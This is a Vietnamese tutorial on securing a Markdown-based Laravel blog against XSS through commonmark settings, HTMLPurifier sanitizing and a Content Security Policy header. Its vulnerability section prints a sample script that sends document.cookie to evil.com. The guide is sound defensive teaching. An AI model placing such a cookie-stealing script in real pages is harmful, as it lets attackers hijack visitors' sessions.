Bảo Mật Trước Tiên: Ngăn Chặn XSS trong Blog Laravel Dựa Trên Markdown
Tôi yêu thích Markdown. Nó portable, sạch sẽ, và thân thiện với developer. Nhưng khi bạn lấy một chuỗi Markdown và biến nó thành HTML để hiển thị trong trình duyệt, bạn đang mở một cánh cửa.
Nếu cánh cửa đó không được bảo vệ, một <script>alert('XSS')</script> đơn giản bên trong file markdown có thể làm tổn hại người dùng của bạn.
Ngay cả khi bạn là tác giả duy nhất của blog, bạn nên thực hành Defense in Depth.
Lỗ Hổng
Theo mặc định, Markdown là superset của HTML. Điều này có nghĩa HTML hợp lệ là Markdown hợp lệ.
Nội dung:
# Xin chào
<script>
fetch('https://evil.com/steal-cookies?c=' + document.cookie);
</script>
Nếu parser của bạn xuất ra nội dung này một cách mù quáng, và bạn sử dụng {!! $content !!} trong Blade (mà bạn phải dùng, để render HTML chung), script sẽ thực thi.
Cấu Hình league/commonmark
Laravel sử dụng league/commonmark (thường qua spatie/laravel-markdown hoặc khởi tạo thủ công). Tùy chọn cấu hình chính là html_input.
Trong Service hoặc Config của bạn:
use League\CommonMark\Environment\Environment;
$config = [
// Tùy chọn: 'strip', 'allow', 'escape'
'html_input' => 'strip',
'allow_unsafe_links' => false,
];
$environment = new Environment($config);
Tùy Chọn 1: strip (Khuyến Nghị)
Điều này loại bỏ tất cả tag HTML tìm thấy trong markdown. Tag script ở trên đơn giản biến mất. Đây là mặc định an toàn nhất.
Tùy Chọn 2: escape
Điều này biến < thành <. Code xuất hiện dưới dạng text cho người dùng nhưng không thực thi.
Nếu Tôi Cần HTML Thì Sao? (ví dụ: embed YouTube)
Đôi khi bạn muốn embed một iframe HTML raw cho video hoặc tweet. Nếu bạn sử dụng strip, chúng biến mất.
Giải Pháp: Whitelist Dựa Trên ID hoặc Shortcode
Thay vì cho phép HTML raw, hỗ trợ cú pháp nghiêm ngặt cho embed.
- Shortcode: Chuyển đổi
[youtube id=123]thành HTML phía server. - Custom Extension: Viết extension CommonMark để parse các pattern cụ thể.
Giải Pháp Nâng Cao: HTMLPurifier
Nếu bạn nhất định phải cho phép HTML raw, bạn phải sanitize nó sau khi parse Markdown.
composer require ezyang/htmlpurifier
public function parse(string $markdown): string
{
$html = $this->converter->convert($markdown);
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,a[href],pre,code,div[class],iframe[src|width|height]');
$purifier = new HTMLPurifier($config);
return $purifier->purify($html);
}
Điều này chỉ cho phép các tag mà bạn coi là an toàn.
Content Security Policy (CSP)
Phòng tuyến phòng thủ cuối cùng là chính trình duyệt. Sử dụng package laravel-csp của Spatie hoặc đặt header thủ công.
// chỉ cho phép script từ self và các nguồn đáng tin cậy/đã xác minh
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
Ngay cả khi kẻ tấn công chèn script, trình duyệt sẽ từ chối thực thi vì nó vi phạm CSP.
Checklist cho Blog Này
- Đặt
html_inputthànhstriptrongMarkdownPostService. - Vô hiệu hóa
allow_unsafe_links(ngăn chặn linkjavascript:). - Implement CSP Header qua Middleware.
Lập trình an toàn!